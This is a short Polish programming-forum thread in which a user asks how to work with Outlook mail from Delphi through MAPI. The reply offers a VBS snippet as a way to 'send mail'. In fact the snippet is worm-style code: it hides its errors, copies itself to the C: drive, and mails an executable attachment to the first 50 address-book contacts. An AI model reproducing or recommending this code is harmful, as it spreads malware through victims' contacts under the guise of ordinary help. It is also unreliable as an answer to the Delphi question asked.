[Delphi] Mapi i maile

Czołem
Jak obsługiwać outlooka z poziomu Delphi - dobrać się do maili, ich adresów, tematów, treści....itp Wiem że trzeba użyć Mapi ale nie wiem dokładnie jak. Z góry dzięki

Tu masz jak wysłać maila w VBS:
On Error Resume Next
Dim x
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:\dateiname.vbs")
Set ol=CreateObject("Outlook.Application")
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Temat"
Mail.Body="Tresc"
Mail.Attachments.Add("C:\Twoj plik.exe")
Mail.Send
Next
ol.Quit

Możesz więc stworzyc za pomocą Delphi ten skrypt, a następnie go uruchomić...